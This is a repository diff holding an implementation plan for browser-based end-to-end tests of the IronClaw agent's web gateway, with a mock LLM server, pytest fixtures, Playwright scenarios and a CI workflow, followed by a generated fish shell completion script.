run: pytest tests/e2e/ -v --timeout=120
```
**Trigger policy:** Weekly + manual + PRs touching web gateway or E2E tests. Not on every PR.
---
## Future: Claude Vision Layer
Not in initial scope. Design accommodates it via:
- `conftest.py` fixture `claude_vision` wrapping `anthropic.Anthropic()`
- Helper `assert_visually(page, prompt)`: takes screenshot, sends to Claude vision API, asserts response
- Gated behind `@pytest.mark.vision`, only runs when `ANTHROPIC_API_KEY` is set
- Use cases: "no raw HTML visible in chat", "markdown renders correctly", "no layout breakage"
---
## Success Criteria
1. `pytest tests/e2e/ -v` passes locally with a pre-built ironclaw binary
2. All 3 scenarios (connection, chat, skills) exercise real browser interactions
3. Mock LLM provides deterministic responses (no flaky tests from LLM randomness)
4. CI workflow runs on web gateway changes and weekly schedule
5. Test failures produce clear error messages with screenshot artifacts
+952
View File
@@ -0,0 +1,952 @@
# E2E Testing Infrastructure Implementation Plan
> **For Claude:** REQUIRED SUB-SKILL: Use superpowers:executing-plans to implement this plan task-by-task.
**Goal:** Build a Python + Playwright E2E testing framework that exercises the IronClaw web gateway through a real browser against the real binary with a mock LLM backend.
**Architecture:** pytest session fixtures start a mock OpenAI-compat HTTP server and the ironclaw binary (libSQL in-memory, gateway enabled), then per-test Playwright browser instances navigate to the gateway and make DOM assertions.
**Tech Stack:** Python 3.11+, pytest, pytest-asyncio, playwright, aiohttp
**Design doc:** `docs/plans/2026-02-24-e2e-infrastructure-design.md`
---
### Task 1: Project scaffolding and pyproject.toml
**Files:**
- Create: `tests/e2e/pyproject.toml`
- Create: `tests/e2e/scenarios/__init__.py`
**Step 1: Create pyproject.toml**
```toml
[project]
name = "ironclaw-e2e"
version = "0.1.0"
requires-python = ">=3.11"
dependencies = [
"pytest>=8.0",
"pytest-asyncio>=0.23",
"pytest-playwright>=0.5",
"playwright>=1.40",
"aiohttp>=3.9",
"httpx>=0.27",
]
[project.optional-dependencies]
vision = [
"anthropic>=0.40",
]
[tool.pytest.ini_options]
asyncio_mode = "auto"
timeout = 120
```
**Step 2: Create empty __init__.py**
Create `tests/e2e/scenarios/__init__.py` as an empty file.
**Step 3: Verify install works**
Run:
```bash
cd tests/e2e && pip install -e . && playwright install chromium
```
Expected: Clean install, no errors.
**Step 4: Commit**
```bash
git add tests/e2e/pyproject.toml tests/e2e/scenarios/__init__.py
git commit -m "scaffold: E2E test project with pyproject.toml"
```
---
### Task 2: Mock LLM server
**Files:**
- Create: `tests/e2e/mock_llm.py`
**Step 1: Write the mock LLM server**
The server must:
- Listen on `127.0.0.1` with a port passed via `--port` CLI arg (default 0 for OS-assigned)
- Print `MOCK_LLM_PORT={port}` to stdout on startup (for fixture to parse)
- Handle `POST /v1/chat/completions` with both streaming and non-streaming modes
- Handle `GET /v1/models` for health checks
- Pattern-match the last user message to select canned responses
- Support `stream: true` with proper SSE chunk format (critical for IronClaw's streaming)
```python
"""Mock OpenAI-compatible LLM server for E2E tests."""
import argparse
import json
import re
import time
import uuid
from aiohttp import web
CANNED_RESPONSES = [
(re.compile(r"hello|hi|hey", re.IGNORECASE), "Hello! How can I help you today?"),
(re.compile(r"2\s*\+\s*2|two plus two", re.IGNORECASE), "The answer is 4."),
(re.compile(r"skill|install", re.IGNORECASE), "I can help you with skills management."),
]
DEFAULT_RESPONSE = "I understand your request."
def match_response(messages: list[dict]) -> str:
"""Find canned response for the last user message."""
for msg in reversed(messages):
if msg.get("role") == "user":
content = msg.get("content", "")
# Handle content that may be a list (multi-modal)
if isinstance(content, list):
content = " ".join(
part.get("text", "") for part in content if part.get("type") == "text"
)
for pattern, response in CANNED_RESPONSES:
if pattern.search(content):
return response
return DEFAULT_RESPONSE
return DEFAULT_RESPONSE
async def chat_completions(request: web.Request) -> web.StreamResponse:
"""Handle POST /v1/chat/completions."""
body = await request.json()
messages = body.get("messages", [])
stream = body.get("stream", False)
response_text = match_response(messages)
completion_id = f"mock-{uuid.uuid4().hex[:8]}"
if not stream:
return web.json_response({
"id": completion_id,
"object": "chat.completion",
"created": int(time.time()),
"model": "mock-model",
"choices": [{
"index": 0,
"message": {"role": "assistant", "content": response_text},
"finish_reason": "stop",
}],
"usage": {"prompt_tokens": 10, "completion_tokens": len(response_text.split()), "total_tokens": 15},
})
# Streaming response: split into word-boundary chunks
resp = web.StreamResponse(
status=200,
headers={"Content-Type": "text/event-stream", "Cache-Control": "no-cache"},
)
await resp.prepare(request)
# First chunk: role
chunk = {
"id": completion_id,
"object": "chat.completion.chunk",
"created": int(time.time()),
"model": "mock-model",
"choices": [{"index": 0, "delta": {"role": "assistant", "content": ""}, "finish_reason": None}],
}
await resp.write(f"data: {json.dumps(chunk)}\n\n".encode())
# Content chunks: split on spaces
words = response_text.split(" ")
for i, word in enumerate(words):
text = word if i == 0 else f" {word}"
chunk["choices"][0]["delta"] = {"content": text}
await resp.write(f"data: {json.dumps(chunk)}\n\n".encode())
# Final chunk: finish_reason
chunk["choices"][0]["delta"] = {}
chunk["choices"][0]["finish_reason"] = "stop"
await resp.write(f"data: {json.dumps(chunk)}\n\n".encode())
await resp.write(b"data: [DONE]\n\n")
return resp
async def models(_request: web.Request) -> web.Response:
"""Handle GET /v1/models."""
return web.json_response({
"object": "list",
"data": [{"id": "mock-model", "object": "model", "owned_by": "test"}],
})
def main():
parser = argparse.ArgumentParser()
parser.add_argument("--port", type=int, default=0)
args = parser.parse_args()
app = web.Application()
app.router.add_post("/v1/chat/completions", chat_completions)
app.router.add_get("/v1/models", models)
# Use aiohttp's runner to get the actual bound port
import asyncio
async def start():
runner = web.AppRunner(app)
await runner.setup()
site = web.TCPSite(runner, "127.0.0.1", args.port)
await site.start()
# Extract the actual port from the bound socket
port = site._server.sockets[0].getsockname()[1]
print(f"MOCK_LLM_PORT={port}", flush=True)
# Block forever
await asyncio.Event().wait()
asyncio.run(start())
if __name__ == "__main__":
main()
```
**Step 2: Verify it starts and responds**
Run:
```bash
python tests/e2e/mock_llm.py --port 18080 &
curl -s http://127.0.0.1:18080/v1/models | python -m json.tool
curl -s -X POST http://127.0.0.1:18080/v1/chat/completions \
-H "Content-Type: application/json" \
-d '{"messages":[{"role":"user","content":"What is 2+2?"}],"model":"mock"}'
kill %1
```
Expected: Models endpoint returns `{"data": [{"id": "mock-model", ...}]}`. Chat returns response containing "4".
**Step 3: Verify streaming**
```bash
python tests/e2e/mock_llm.py --port 18080 &
curl -sN -X POST http://127.0.0.1:18080/v1/chat/completions \
-H "Content-Type: application/json" \
-d '{"messages":[{"role":"user","content":"Hello"}],"model":"mock","stream":true}'
kill %1
```
Expected: SSE chunks ending with `data: [DONE]`.
**Step 4: Commit**
```bash
git add tests/e2e/mock_llm.py
git commit -m "feat: mock OpenAI-compat LLM server for E2E tests"
```
---
### Task 3: Helpers module
**Files:**
- Create: `tests/e2e/helpers.py`
**Step 1: Write helpers**
```python
"""Shared helpers for E2E tests."""
import asyncio
import re
import time
import httpx
# ── DOM Selectors ────────────────────────────────────────────────────────
# Keep all selectors in one place so changes to the frontend only need
# one update.
SEL = {
# Auth
"auth_screen": "#auth-screen",
"token_input": "#token-input",
# Connection
"sse_status": "#sse-status",
# Tabs
"tab_button": '.tab-bar button[data-tab="{tab}"]',
"tab_panel": "#tab-{tab}",
# Chat
"chat_input": "#chat-input",
"chat_messages": "#chat-messages",
"message_user": "#chat-messages .message.user",
"message_assistant": "#chat-messages .message.assistant",
# Skills
"skill_search_input": "#skill-search-input",
"skill_search_results": "#skill-search-results",
"skill_search_result": ".skill-search-result",
"skill_installed": "#installed-skills .ext-card",
}
TABS = ["chat", "memory", "jobs", "routines", "extensions", "skills"]
# Auth token used across all tests
AUTH_TOKEN = "e2e-test-token"
async def wait_for_ready(url: str, *, timeout: float = 60, interval: float = 0.5):
"""Poll a URL until it returns 200 or timeout."""
deadline = time.monotonic() + timeout
async with httpx.AsyncClient() as client:
while time.monotonic() < deadline:
try:
resp = await client.get(url, timeout=5)
if resp.status_code == 200:
return
except (httpx.ConnectError, httpx.ReadError, httpx.TimeoutException):
pass
await asyncio.sleep(interval)
raise TimeoutError(f"Service at {url} not ready after {timeout}s")
async def wait_for_port_line(process, pattern: str, *, timeout: float = 60) -> int:
"""Read process stdout line by line until a port-bearing line matches."""
deadline = time.monotonic() + timeout
while time.monotonic() < deadline:
remaining = deadline - time.monotonic()
if remaining <= 0:
break
try:
line = await asyncio.wait_for(process.stdout.readline(), timeout=remaining)
except asyncio.TimeoutError:
break
decoded = line.decode("utf-8", errors="replace").strip()
if match := re.search(pattern, decoded):
return int(match.group(1))
raise TimeoutError(f"Port pattern '{pattern}' not found in stdout after {timeout}s")
```
**Step 2: Commit**
```bash
git add tests/e2e/helpers.py
git commit -m "feat: E2E helpers with DOM selectors and port discovery"
```
---
### Task 4: conftest.py fixtures
**Files:**
- Create: `tests/e2e/conftest.py`
**Step 1: Write the fixtures**
Key details from codebase research:
- IronClaw logs `Web UI: http://{host}:{port}/` to stdout (main.rs:508) using the config port, not the bound port. So we must use a fixed port, not port 0.
- Health endpoint: `GET /api/health` (public, no auth required)
- Auth via `?token=` query parameter for the frontend auto-auth flow
- The frontend hides `#auth-screen` when token is valid and SSE connects
```python
"""pytest fixtures for E2E tests.
Session-scoped: build binary, start mock LLM, start ironclaw.
Function-scoped: fresh Playwright browser page per test.
"""
import asyncio
import os
import signal
import subprocess
import sys
from pathlib import Path
import pytest
from helpers import AUTH_TOKEN, wait_for_port_line, wait_for_ready
# Project root (two levels up from tests/e2e/)
ROOT = Path(__file__).resolve().parent.parent.parent
# Ports: use high fixed ports to avoid conflicts with development instances
MOCK_LLM_PORT = 18_199
GATEWAY_PORT = 18_200
@pytest.fixture(scope="session")
def ironclaw_binary():
"""Ensure ironclaw binary is built. Returns the binary path."""
binary = ROOT / "target" / "debug" / "ironclaw"
if not binary.exists():
print("Building ironclaw (this may take a while)...")
subprocess.run(
["cargo", "build", "--no-default-features", "--features", "libsql"],
cwd=ROOT,
check=True,
timeout=600,
)
assert binary.exists(), f"Binary not found at {binary}"
return str(binary)
@pytest.fixture(scope="session")
def event_loop():
"""Create a session-scoped event loop for async fixtures."""
loop = asyncio.new_event_loop()
yield loop
loop.close()
@pytest.fixture(scope="session")
async def mock_llm_server():
"""Start the mock LLM server. Yields the base URL."""
server_script = Path(__file__).parent / "mock_llm.py"
proc = await asyncio.create_subprocess_exec(
sys.executable, str(server_script), "--port", str(MOCK_LLM_PORT),
stdout=asyncio.subprocess.PIPE,
stderr=asyncio.subprocess.PIPE,
)
try:
port = await wait_for_port_line(proc, r"MOCK_LLM_PORT=(\d+)", timeout=10)
url = f"http://127.0.0.1:{port}"
await wait_for_ready(f"{url}/v1/models", timeout=10)
yield url
finally:
proc.send_signal(signal.SIGTERM)
try:
await asyncio.wait_for(proc.wait(), timeout=5)
except asyncio.TimeoutError:
proc.kill()
@pytest.fixture(scope="session")
async def ironclaw_server(ironclaw_binary, mock_llm_server):
"""Start the ironclaw gateway. Yields the base URL."""
env = {
**os.environ,
"RUST_LOG": "ironclaw=info",
"GATEWAY_ENABLED": "true",
"GATEWAY_HOST": "127.0.0.1",
"GATEWAY_PORT": str(GATEWAY_PORT),
"GATEWAY_AUTH_TOKEN": AUTH_TOKEN,
"GATEWAY_USER_ID": "e2e-tester",
"CLI_ENABLED": "false",
"LLM_BACKEND": "openai_compatible",
"LLM_BASE_URL": mock_llm_server,
"LLM_MODEL": "mock-model",
"DATABASE_BACKEND": "libsql",
"LIBSQL_PATH": ":memory:",
"SANDBOX_ENABLED": "false",
"SKILLS_ENABLED": "true",
"ROUTINES_ENABLED": "false",
"HEARTBEAT_ENABLED": "false",
"EMBEDDING_ENABLED": "false",
# Prevent onboarding wizard from triggering
"ONBOARD_COMPLETED": "true",
}
proc = await asyncio.create_subprocess_exec(
ironclaw_binary,
stdout=asyncio.subprocess.PIPE,
stderr=asyncio.subprocess.PIPE,
env=env,
)
base_url = f"http://127.0.0.1:{GATEWAY_PORT}"
try:
await wait_for_ready(f"{base_url}/api/health", timeout=60)
yield base_url
finally:
proc.send_signal(signal.SIGTERM)
try:
await asyncio.wait_for(proc.wait(), timeout=5)
except asyncio.TimeoutError:
proc.kill()
@pytest.fixture
async def page(ironclaw_server):
"""Fresh Playwright browser page, navigated to the gateway with auth."""
from playwright.async_api import async_playwright
async with async_playwright() as p:
browser = await p.chromium.launch(headless=True)
context = await browser.new_context(viewport={"width": 1280, "height": 720})
pg = await context.new_page()
await pg.goto(f"{ironclaw_server}/?token={AUTH_TOKEN}")
# Wait for the app to initialize (auth screen hidden, SSE connected)
await pg.wait_for_selector("#auth-screen", state="hidden", timeout=15000)
yield pg
await context.close()
await browser.close()
```
**Step 2: Commit**
```bash
git add tests/e2e/conftest.py
git commit -m "feat: E2E conftest with session fixtures for mock LLM and ironclaw"
```
---
### Task 5: Scenario 1 -- Connection and tab navigation
**Files:**
- Create: `tests/e2e/scenarios/test_connection.py`
**Step 1: Write the test**
```python
"""Scenario 1: Connection, auth, and tab navigation."""
import pytest
from helpers import AUTH_TOKEN, SEL, TABS
async def test_page_loads_and_connects(page):
"""After auth, the app shows Connected status and all tabs."""
# Connection status
status = page.locator(SEL["sse_status"])
await status.wait_for(state="visible", timeout=10000)
text = await status.text_content()
assert text is not None
assert "connect" in text.lower(), f"Expected 'Connected', got '{text}'"
# All 6 main tabs visible
for tab in TABS:
btn = page.locator(SEL["tab_button"].format(tab=tab))
assert await btn.is_visible(), f"Tab button '{tab}' not visible"
async def test_tab_navigation(page):
"""Clicking each tab shows its panel."""
for tab in TABS:
btn = page.locator(SEL["tab_button"].format(tab=tab))
await btn.click()
panel = page.locator(SEL["tab_panel"].format(tab=tab))
await panel.wait_for(state="visible", timeout=5000)
# Return to Chat tab
await page.locator(SEL["tab_button"].format(tab="chat")).click()
chat_input = page.locator(SEL["chat_input"])
await chat_input.wait_for(state="visible", timeout=5000)
async def test_auth_rejection(page, ironclaw_server):
"""Navigating without a token shows the auth screen."""
# Open a new page without the token
new_page = await page.context.new_page()
await new_page.goto(ironclaw_server)
auth_screen = new_page.locator(SEL["auth_screen"])
await auth_screen.wait_for(state="visible", timeout=10000)
await new_page.close()
```
**Step 2: Verify test runs (may fail if ironclaw isn't built yet -- that's OK)**
```bash
cd tests/e2e && python -m pytest scenarios/test_connection.py -v --timeout=120
```
Expected: Tests pass if ironclaw is built, or skip/fail gracefully if not.
**Step 3: Commit**
```bash
git add tests/e2e/scenarios/test_connection.py
git commit -m "feat: E2E scenario 1 -- connection and tab navigation tests"
```
---
### Task 6: Scenario 2 -- Chat message round-trip
**Files:**
- Create: `tests/e2e/scenarios/test_chat.py`
**Step 1: Write the test**
```python
"""Scenario 2: Chat message round-trip via SSE streaming."""
import pytest
from helpers import SEL
async def test_send_message_and_receive_response(page):
"""Type a message, receive a streamed response from mock LLM."""
chat_input = page.locator(SEL["chat_input"])
await chat_input.wait_for(state="visible", timeout=5000)
# Send message
await chat_input.fill("What is 2+2?")
await chat_input.press("Enter")
# Wait for assistant response
assistant_msg = page.locator(SEL["message_assistant"]).last
await assistant_msg.wait_for(state="visible", timeout=15000)
# Verify user message
user_msgs = page.locator(SEL["message_user"])
assert await user_msgs.count() >= 1
last_user = user_msgs.last
user_text = await last_user.text_content()
assert "2+2" in user_text or "2 + 2" in user_text
# Verify assistant response contains "4" (from mock LLM canned response)
assistant_text = await assistant_msg.text_content()
assert "4" in assistant_text, f"Expected '4' in response, got: '{assistant_text}'"
async def test_multiple_messages(page):
"""Send two messages, verify both get responses."""
chat_input = page.locator(SEL["chat_input"])
await chat_input.wait_for(state="visible", timeout=5000)
# First message
await chat_input.fill("Hello")
await chat_input.press("Enter")
# Wait for first response
await page.locator(SEL["message_assistant"]).first.wait_for(
state="visible", timeout=15000
)
# Second message
await chat_input.fill("What is 2+2?")
await chat_input.press("Enter")
# Wait for second response (at least 2 assistant messages)
await page.wait_for_function(
"""() => document.querySelectorAll('#chat-messages .message.assistant').length >= 2""",
timeout=15000,
)
# Verify counts
user_count = await page.locator(SEL["message_user"]).count()
assistant_count = await page.locator(SEL["message_assistant"]).count()
assert user_count >= 2, f"Expected >= 2 user messages, got {user_count}"
assert assistant_count >= 2, f"Expected >= 2 assistant messages, got {assistant_count}"
async def test_empty_message_not_sent(page):
"""Pressing Enter with empty input should not create a message."""
chat_input = page.locator(SEL["chat_input"])
await chat_input.wait_for(state="visible", timeout=5000)
initial_count = await page.locator(f"{SEL['message_user']}, {SEL['message_assistant']}").count()
# Press Enter with empty input
await chat_input.press("Enter")
# Wait a moment and verify no new messages
await page.wait_for_timeout(2000)
final_count = await page.locator(f"{SEL['message_user']}, {SEL['message_assistant']}").count()
assert final_count == initial_count, "Empty message should not create new messages"
```
**Step 2: Commit**
```bash
git add tests/e2e/scenarios/test_chat.py
git commit -m "feat: E2E scenario 2 -- chat message round-trip tests"
```
---
### Task 7: Scenario 3 -- Skills lifecycle
**Files:**
- Create: `tests/e2e/scenarios/test_skills.py`
**Step 1: Write the test**
Note: These tests depend on ClawHub being reachable. They're marked with `@pytest.mark.skipif` if the registry is down.
```python
"""Scenario 3: Skills search, install, and remove lifecycle."""
import pytest
from helpers import SEL
async def test_skills_tab_visible(page):
"""Skills tab shows the search interface."""
await page.locator(SEL["tab_button"].format(tab="skills")).click()
panel = page.locator(SEL["tab_panel"].format(tab="skills"))
await panel.wait_for(state="visible", timeout=5000)
search_input = page.locator(SEL["skill_search_input"])
assert await search_input.is_visible(), "Skills search input not visible"
async def test_skills_search(page):
"""Search ClawHub for skills and verify results appear."""
await page.locator(SEL["tab_button"].format(tab="skills")).click()
search_input = page.locator(SEL["skill_search_input"])
await search_input.fill("markdown")
await search_input.press("Enter")
# Wait for results (ClawHub may be slow)
try:
results = page.locator(SEL["skill_search_result"])
await results.first.wait_for(state="visible", timeout=20000)
except Exception:
pytest.skip("ClawHub registry unreachable or returned no results")
count = await results.count()
assert count >= 1, "Expected at least 1 search result"
async def test_skills_install_and_remove(page):
"""Install a skill from search results, then remove it."""
await page.locator(SEL["tab_button"].format(tab="skills")).click()
# Search
search_input = page.locator(SEL["skill_search_input"])
await search_input.fill("markdown")
await search_input.press("Enter")
try:
results = page.locator(SEL["skill_search_result"])
await results.first.wait_for(state="visible", timeout=20000)
except Exception:
pytest.skip("ClawHub registry unreachable or returned no results")
# Auto-accept confirm dialogs
await page.evaluate("window.confirm = () => true")
# Install first result
install_btn = results.first.locator("button", has_text="Install")
if await install_btn.count() == 0:
pytest.skip("No installable skills found in results")
await install_btn.click()
# Wait for install to complete (installed list updates)
# The UI should show the skill in the installed section
await page.wait_for_timeout(5000)
# Check if any installed skills exist now
installed = page.locator(SEL["skill_installed"])
installed_count = await installed.count()
if installed_count == 0:
# Try scrolling or waiting longer
await page.wait_for_timeout(5000)
installed_count = await installed.count()
assert installed_count >= 1, "Skill should appear in installed list after install"
# Remove the skill
remove_btn = installed.first.locator("button", has_text="Remove")
if await remove_btn.count() > 0:
await remove_btn.click()
await page.wait_for_timeout(3000)
# Verify removed
new_count = await page.locator(SEL["skill_installed"]).count()
assert new_count < installed_count, "Skill should be removed from installed list"
```
**Step 2: Commit**
```bash
git add tests/e2e/scenarios/test_skills.py
git commit -m "feat: E2E scenario 3 -- skills search, install, remove tests"
```
---
### Task 8: CI workflow
**Files:**
- Create: `.github/workflows/e2e.yml`
**Step 1: Write the workflow**
```yaml
name: E2E Tests
on:
schedule:
- cron: "0 6 * * 1" # Weekly Monday 6 AM UTC
workflow_dispatch:
pull_request:
paths:
- "src/channels/web/**"
- "tests/e2e/**"
jobs:
e2e:
name: Browser E2E
runs-on: ubuntu-latest
timeout-minutes: 30
steps:
- uses: actions/checkout@v4
- uses: dtolnay/rust-toolchain@stable
- uses: actions/cache@v4
with:
path: |
target
~/.cargo/registry
key: e2e-${{ runner.os }}-${{ hashFiles('Cargo.lock') }}
- name: Build ironclaw (libsql)
run: cargo build --no-default-features --features libsql
- uses: actions/setup-python@v5
with:
python-version: "3.12"
- name: Install E2E dependencies
run: |
cd tests/e2e
pip install -e .
playwright install --with-deps chromium
- name: Run E2E tests
run: pytest tests/e2e/ -v --timeout=120
- name: Upload screenshots on failure
if: failure()
uses: actions/upload-artifact@v4
with:
name: e2e-screenshots
path: tests/e2e/screenshots/
if-no-files-found: ignore
```
**Step 2: Commit**
```bash
git add .github/workflows/e2e.yml
git commit -m "ci: add weekly E2E test workflow with Playwright"
```
---
### Task 9: README
**Files:**
- Create: `tests/e2e/README.md`
**Step 1: Write the README**
```markdown
# IronClaw E2E Tests
Browser-level end-to-end tests for the IronClaw web gateway using Python + Playwright.
## Prerequisites
- Python 3.11+
- Rust toolchain (for building ironclaw)
- Chromium (installed via Playwright)
## Setup
```bash
cd tests/e2e
pip install -e .
playwright install chromium
```
## Build ironclaw
The tests need the ironclaw binary built with libsql support:
```bash
cargo build --no-default-features --features libsql
```
## Run tests
```bash
# From repo root
pytest tests/e2e/ -v
# Run a single scenario
pytest tests/e2e/scenarios/test_chat.py -v
# With visible browser (not headless)
HEADED=1 pytest tests/e2e/scenarios/test_connection.py -v
```
## Architecture
Tests start two subprocesses:
1. **Mock LLM** (`mock_llm.py`) -- fake OpenAI-compat server with canned responses
2. **IronClaw** -- the real binary with gateway enabled, pointing to the mock LLM
Then Playwright drives a headless Chromium browser against the gateway, making DOM assertions.
## Scenarios
| File | What it tests |
|------|--------------|
| `test_connection.py` | Auth, tab navigation, connection status |
| `test_chat.py` | Send message, SSE streaming, response rendering |
| `test_skills.py` | ClawHub search, skill install/remove |
## Adding new scenarios
1. Create `tests/e2e/scenarios/test_<name>.py`
2. Use the `page` fixture for a fresh browser page
3. Use selectors from `helpers.py` (update `SEL` dict if new elements are needed)
4. Keep tests deterministic -- use the mock LLM, not real providers
```
**Step 2: Commit**
```bash
git add tests/e2e/README.md
git commit -m "docs: E2E test README with setup and usage instructions"
```
---
### Task 10: Integration test -- run all scenarios end-to-end
**Step 1: Build ironclaw**
```bash
cargo build --no-default-features --features libsql
```
**Step 2: Run the full E2E suite**
```bash
pytest tests/e2e/ -v --timeout=120
```
Expected: All tests in `test_connection.py` and `test_chat.py` pass. `test_skills.py` tests pass or skip (if ClawHub is unreachable).
**Step 3: Fix any issues discovered during the run**
Common issues to watch for:
- Port conflicts: change `MOCK_LLM_PORT` or `GATEWAY_PORT` in conftest.py
- Timing: increase wait timeouts if SSE streaming is slow
- Selectors: update `SEL` dict in helpers.py if frontend elements changed
- Onboarding wizard: ensure `ONBOARD_COMPLETED=true` prevents wizard from blocking
**Step 4: Final commit with any fixes**
```bash
git add -A tests/e2e/
git commit -m "fix: E2E test adjustments from integration run"
```
---
## Summary
| Task | Files | Description |
|------|-------|-------------|
| 1 | pyproject.toml, __init__.py | Project scaffolding |
| 2 | mock_llm.py | Mock OpenAI-compat server |
| 3 | helpers.py | Selectors and utilities |
| 4 | conftest.py | pytest fixtures |
| 5 | test_connection.py | Scenario 1: connection/tabs |
| 6 | test_chat.py | Scenario 2: chat round-trip |
| 7 | test_skills.py | Scenario 3: skills lifecycle |
| 8 | e2e.yml | CI workflow |
| 9 | README.md | Documentation |
| 10 | (integration run) | Verify everything works |
+3053
View File
File diff suppressed because it is too large Load Diff
+455
View File
@@ -0,0 +1,455 @@
# Print an optspec for argparse to handle cmd's options that are independent of any subcommand.
function __fish_ironclaw_global_optspecs
string join \n cli-only no-db m/message= c/config= no-onboard h/help V/version
end
function __fish_ironclaw_needs_command
# Figure out if the current invocation already has a command.
set -l cmd (commandline -opc)
set -e cmd[1]
argparse -s (__fish_ironclaw_global_optspecs) -- $cmd 2>/dev/null
or return
if set -q argv[1]
# Also print the command, so this can be used to figure out what it is.
echo $argv[1]
return 1
end
return 0
end
function __fish_ironclaw_using_subcommand
set -l cmd (__fish_ironclaw_needs_command)
test -z "$cmd"
and return 1
contains -- $cmd[1] $argv
end
complete -c ironclaw -n "__fish_ironclaw_needs_command" -s m -l message -d 'Single message mode - send one message and exit' -r
complete -c ironclaw -n "__fish_ironclaw_needs_command" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
complete -c ironclaw -n "__fish_ironclaw_needs_command" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
complete -c ironclaw -n "__fish_ironclaw_needs_command" -l no-db -d 'Skip database connection (for testing)'
complete -c ironclaw -n "__fish_ironclaw_needs_command" -l no-onboard -d 'Skip first-run onboarding check'
complete -c ironclaw -n "__fish_ironclaw_needs_command" -s h -l help -d 'Print help'
complete -c ironclaw -n "__fish_ironclaw_needs_command" -s V -l version -d 'Print version'
complete -c ironclaw -n "__fish_ironclaw_needs_command" -f -a "run" -d 'Run the agent (default if no subcommand given)'
complete -c ironclaw -n "__fish_ironclaw_needs_command" -f -a "onboard" -d 'Interactive onboarding wizard'
complete -c ironclaw -n "__fish_ironclaw_needs_command" -f -a "config" -d 'Manage configuration settings'
complete -c ironclaw -n "__fish_ironclaw_needs_command" -f -a "tool" -d 'Manage WASM tools'
complete -c ironclaw -n "__fish_ironclaw_needs_command" -f -a "mcp" -d 'Manage MCP servers (hosted tool providers)'
complete -c ironclaw -n "__fish_ironclaw_needs_command" -f -a "memory" -d 'Query and manage workspace memory'
complete -c ironclaw -n "__fish_ironclaw_needs_command" -f -a "pairing" -d 'DM pairing (approve inbound requests from unknown senders)'
complete -c ironclaw -n "__fish_ironclaw_needs_command" -f -a "service" -d 'Manage OS service (launchd / systemd)'
complete -c ironclaw -n "__fish_ironclaw_needs_command" -f -a "doctor" -d 'Probe external dependencies and validate configuration'
complete -c ironclaw -n "__fish_ironclaw_needs_command" -f -a "status" -d 'Show system health and diagnostics'
complete -c ironclaw -n "__fish_ironclaw_needs_command" -f -a "completion" -d 'Generate shell completion scripts'
complete -c ironclaw -n "__fish_ironclaw_needs_command" -f -a "worker" -d 'Run as a sandboxed worker inside a Docker container (internal use). This is invoked automatically by the orchestrator, not by users directly'
complete -c ironclaw -n "__fish_ironclaw_needs_command" -f -a "claude-bridge" -d 'Run as a Claude Code bridge inside a Docker container (internal use). Spawns the `claude` CLI and streams output back to the orchestrator'
complete -c ironclaw -n "__fish_ironclaw_needs_command" -f -a "help" -d 'Print this message or the help of the given subcommand(s)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand run" -s m -l message -d 'Single message mode - send one message and exit' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand run" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
complete -c ironclaw -n "__fish_ironclaw_using_subcommand run" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand run" -l no-db -d 'Skip database connection (for testing)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand run" -l no-onboard -d 'Skip first-run onboarding check'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand run" -s h -l help -d 'Print help'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand onboard" -s m -l message -d 'Single message mode - send one message and exit' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand onboard" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
complete -c ironclaw -n "__fish_ironclaw_using_subcommand onboard" -l skip-auth -d 'Skip authentication (use existing session)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand onboard" -l channels-only -d 'Reconfigure channels only'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand onboard" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand onboard" -l no-db -d 'Skip database connection (for testing)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand onboard" -l no-onboard -d 'Skip first-run onboarding check'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand onboard" -s h -l help -d 'Print help'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and not __fish_seen_subcommand_from init list get set reset path help" -s m -l message -d 'Single message mode - send one message and exit' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and not __fish_seen_subcommand_from init list get set reset path help" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and not __fish_seen_subcommand_from init list get set reset path help" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and not __fish_seen_subcommand_from init list get set reset path help" -l no-db -d 'Skip database connection (for testing)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and not __fish_seen_subcommand_from init list get set reset path help" -l no-onboard -d 'Skip first-run onboarding check'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and not __fish_seen_subcommand_from init list get set reset path help" -s h -l help -d 'Print help'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and not __fish_seen_subcommand_from init list get set reset path help" -f -a "init" -d 'Generate a default config.toml file'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and not __fish_seen_subcommand_from init list get set reset path help" -f -a "list" -d 'List all settings and their current values'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and not __fish_seen_subcommand_from init list get set reset path help" -f -a "get" -d 'Get a specific setting value'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and not __fish_seen_subcommand_from init list get set reset path help" -f -a "set" -d 'Set a setting value'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and not __fish_seen_subcommand_from init list get set reset path help" -f -a "reset" -d 'Reset a setting to its default value'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and not __fish_seen_subcommand_from init list get set reset path help" -f -a "path" -d 'Show the settings storage info'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and not __fish_seen_subcommand_from init list get set reset path help" -f -a "help" -d 'Print this message or the help of the given subcommand(s)'
